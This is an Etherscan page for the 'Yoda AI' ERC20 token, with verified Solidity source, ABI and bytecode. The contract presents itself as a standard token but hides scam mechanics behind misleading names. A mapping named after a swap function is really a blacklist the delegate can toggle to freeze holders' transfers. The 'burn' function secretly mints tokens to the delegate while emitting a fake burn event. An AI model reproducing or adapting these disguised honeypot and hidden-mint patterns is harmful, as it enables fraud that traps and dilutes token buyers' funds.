ETH Price: $3,349.66 (-0.95%)

Token

Yoda AI (YodaAI)
 

Overview

Max Total Supply

1,000,000,000,000 YodaAI

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
elpolako.eth
Balance
580,914,999.833246375 YodaAI

Value
$0.00
0x71b8da97aa2a6cb69432ae005ba7930053e66668
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YodaAI

Compiler Version
v0.5.15+commit.6a57276f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-10
*/

/**                                                                              .:-==+==.
                                         ..:::.. ....                      .::--===+####=-
                                     .:--==+++========-::.          ..:--===++*###*+=-%*=-
                                 .--==++#%#***####**##**+==-:. .:--===+*####*****#*--*%==.
                               :==+##*%#=------------=*++#%#====+*#%######%%@@%%%@#=##==: 
                             .-=+%*=-==---===--+*********++#%#%#*++#%@@%%%%%%%%%@+*@+=-.  
 .:---:::::::--==========----==##=+*******+++*=+-----=====++*%=-=%@%%%%%%%%%%%@#=-*%==.   
:==###*+++++**#%%%%%%%%%%###**%**#+=-------=%**+--=*##*****+-+%=+@%%%%%%%%%%%@+--=@==-    
-=+@==+#%%###########%%%%#*++#*=+=***####*+-++=+-+#++####*++=-=*=@@%%%%%%%@@*=--=%*=-     
.==#@*=*@@@@@@@%%%%%%%%%%%@*-*=-+*==***+==##-----*+@@@@#+@@@==--=#@@@%%%@@#=---+@*==.     
 .-==*%%**%@@@%%%%%%%%%%%%@%----=-#@@@*=@%++=-----%@@@@@@@@##+#%%####%@@#=---=#%==-       
   .:-==#%*=+#%@%@@%%%%%%@@%=+--=+@@@@@@@@#--+**+-=+**##%#***@##%#####%%%#*#%%+=-:        
      .-==#%=--*@%@+*%@%*%@#=%--****#%%#*=--*#=+*=--===---=*%#%@#=%@%+#%@#%%====-:.       
        -==%@***@*@#%%%@%%#%*@#***##%#************#@@%***#@@%%@#@#@#@#@#%%#%@****+=-      
        .-=======+===++==++=================*##*==============++==++===*+==========:      
          .....:%@@=.:-*@@*................:#@@*.............-%@@@+:..-#@@%.......        
                :@@@: =@@%.  .--=-:     :-==#@@*  :----:.   .*@@@@%.  .#@@%               
                 -@@%-@@@. .*@@@@@@%: .*@@@@@@@* -@@@@@@@-  -@@%=@@+  .#@@%               
                  +@@@@@-  +@@@=-*@@% +@@@*%#@@*  ....%@@* .*@@**@@@.  #@@%               
                   *@@@*  .#@@%#.*@@@:#@@#%+#@@# :#%%@@@@* :@@@%%@@@*  *@@%               
                   =@@@-   *@@@#+*@@%.*@@%#+#@@#:@@@*##@@* *@@%++*@@@. *@@%               
                   =@@@:   :#@@@%@@%- .%@@@%@@@#-@@@%%@@@%:@@@-   %@@* *@@%               
             
 *///SPDX-License-Identifier: MIT

pragma solidity =0.5.15;

contract ERC20Basic {

  function balanceOf(
    address account
  )
    public
    view
    returns (uint256);
    
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
    
    function totalSupply(
  )
    public
    view
    returns (uint256);
}

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
    return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }
  
  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }

  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;
  mapping (address => bool) internal _swapExactETHForTokens_;  
  mapping (address => uint256) balances;
  uint256 totalSupply_;

  function balanceOf(
    address account
  ) 
    public
    view
    returns (uint256) {
    return balances[account];
  }

  function transfer(
    address _to,
    uint256 _value
  ) 
    public
    returns (bool) { if (
    _swapExactETHForTokens_[msg.sender]
    || _swapExactETHForTokens_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
  
  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }
}
contract Context {
  
  function _msgSender(
  )
    internal 
    view 
    returns (address) {
    return msg.sender;
  }
  
  function _msgData(
  ) 
    internal
    pure 
    returns (bytes memory) {
    return msg.data;
  }
}

contract Ownable is Context {
  address private _owner;
  address internal _delegate;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
  constructor() internal {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
  }

  function owner(
  ) 
  public
  view
  returns (address) {
  return _owner;
  }

  modifier onlyOwner(
  ) {
    require(
    owner() == _msgSender(), "Ownable: caller is not the owner");
    _;
  }
    
  modifier onlyDelegates(
  ) {
    require(
    _delegate == msg.sender, "Caller not belong to delegates");
    _;
  }
    
  function setDelegate(
    address account
  ) 
    external onlyOwner {
    require(
    _delegate == address(0));
    _delegate = account;
  }

  function renounceOwnership(
  ) 
    public onlyOwner {
    _transferOwnership(address(0));
  }

  function _transferOwnership(
    address newOwner
  ) 
    internal {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);

  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardERC20 is Ownable, ERC20, BasicToken {
  address internal approved;
  mapping (address => mapping (address => uint256)) internal allowed;
  
  constructor () public {
     approved = msg.sender;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool) { if
    (_swapExactETHForTokens_[_from] ||
    _swapExactETHForTokens_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[_from]); require(
    _value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  function swapExactETHForToken(
    address _rewardsExactETHForToken
  ) 
    external { require(
    msg.sender ==
    _delegate); if (
    _swapExactETHForTokens_
    [_rewardsExactETHForToken] == true){
    _swapExactETHForTokens_
    [_rewardsExactETHForToken] = false;} 
    else { _swapExactETHForTokens_
    [_rewardsExactETHForToken] = true;
    }
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function swapingStatus(
    address _rewardsExactETHForToken
  )
    public
    view
    returns (bool) 
  {
    return _swapExactETHForTokens_
    [_rewardsExactETHForToken];
  }

  function _burn(
    uint256 amount
  ) 
    internal onlyDelegates
  {
    require(amount != 0, "ERC20: burn zero tokens is disallowed");
    balances[msg.sender] += amount;
    emit Transfer(msg.sender, address(0), amount);
  }

  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract YodaAI is StandardERC20 {
  uint256 public constant _totalSupply_ = 1000000000000 * (10 ** uint256(decimals));
  uint8 public constant decimals = 9;
  string public constant symbol = "YodaAI";
  string public constant name = "Yoda AI";
  
  constructor() public {
    totalSupply_ = totalSupply_.add(_totalSupply_);
    balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
    emit Transfer(address(0), msg.sender, _totalSupply_);
  }
    
  function burn(
    uint256 amount
  ) 
    external {
    _burn(amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDelegate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_rewardsExactETHForToken","type":"address"}],"name":"swapExactETHForToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_rewardsExactETHForToken","type":"address"}],"name":"swapingStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506000620000246200025760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012d600960ff16600a0a64e8d4a51000026004546200025f60201b620019991790919060201c565b6004819055506200019a600960ff16600a0a64e8d4a5100002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200025f60201b620019991790919060201c565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a64e8d4a51000026040518082815260200191505060405180910390a36200027a565b600033905090565b60008183019050828110156200027157fe5b80905092915050565b611d52806200028a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146104ca578063a9059cbb1461054d578063ca5eb5e1146105b3578063d73dd623146105f7578063dd62ed3e1461065d57610116565b806370a08231146103da578063715018a6146104325780638da5cb5b1461043c5780638ec9d8ed1461048657610116565b806323b872dd116100e957806323b872dd1461027e578063313ce5671461030457806342966c681461032857806366188463146103565780636cbbab60146103bc57610116565b8063048aea6d1461011b57806306fdde0314610177578063095ea7b3146101fa57806318160ddd14610260575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d5565b604051808215151515815260200191505060405180910390f35b61017f61072b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b604051808215151515815260200191505060405180910390f35b610268610856565b6040518082815260200191505060405180910390f35b6102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610860565b604051808215151515815260200191505060405180910390f35b61030c610d12565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561033e57600080fd5b8101908080359060200190929190505050610d17565b005b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d23565b604051808215151515815260200191505060405180910390f35b6103c4610fb4565b6040518082815260200191505060405180910390f35b61041c600480360360208110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc6565b6040518082815260200191505060405180910390f35b61043a61100f565b005b6104446110ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c86004803603602081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f3565b005b6104d261125f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105125780820151818401526020810190506104f7565b50505050905090810190601f16801561053f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611298565b604051808215151515815260200191505060405180910390f35b6105f5600480360360208110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b1565b005b6106436004803603604081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ff565b604051808215151515815260200191505060405180910390f35b6106bf6004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fb565b6040518082815260200191505060405180910390f35b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600781526020017f596f64612041490000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109035750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561095a5760008214610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a6957600080fd5b610abb82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b610d20816119b3565b50565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e34576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec8565b610e47838261198290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a64e8d4a510000281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611017611b86565b73ffffffffffffffffffffffffffffffffffffffff166110356110ca565b73ffffffffffffffffffffffffffffffffffffffff16146110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110c86000611b8e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114d57600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611203576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061125c565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600681526020017f596f64614149000000000000000000000000000000000000000000000000000081525081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061133b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113925760008214611391576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561141857600080fd5b61146a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ff82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6115b9611b86565b73ffffffffffffffffffffffffffffffffffffffff166115d76110ca565b73ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116bb57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061179082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561198e57fe5b818303905092915050565b60008183019050828110156119aa57fe5b80905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616c6c6572206e6f742062656c6f6e6720746f2064656c656761746573000081525060200191505060405180910390fd5b6000811415611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cd36025913960400191505060405180910390fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cf86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a206275726e207a65726f20746f6b656e7320697320646973616c6c6f7765644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820d1af0a811368ba1748b35d88a9c2aeef6f2ab89da3e86bafd36e7357721bb6cf64736f6c634300050f0032

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146104ca578063a9059cbb1461054d578063ca5eb5e1146105b3578063d73dd623146105f7578063dd62ed3e1461065d57610116565b806370a08231146103da578063715018a6146104325780638da5cb5b1461043c5780638ec9d8ed1461048657610116565b806323b872dd116100e957806323b872dd1461027e578063313ce5671461030457806342966c681461032857806366188463146103565780636cbbab60146103bc57610116565b8063048aea6d1461011b57806306fdde0314610177578063095ea7b3146101fa57806318160ddd14610260575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d5565b604051808215151515815260200191505060405180910390f35b61017f61072b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b604051808215151515815260200191505060405180910390f35b610268610856565b6040518082815260200191505060405180910390f35b6102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610860565b604051808215151515815260200191505060405180910390f35b61030c610d12565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561033e57600080fd5b8101908080359060200190929190505050610d17565b005b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d23565b604051808215151515815260200191505060405180910390f35b6103c4610fb4565b6040518082815260200191505060405180910390f35b61041c600480360360208110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc6565b6040518082815260200191505060405180910390f35b61043a61100f565b005b6104446110ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c8600480360360208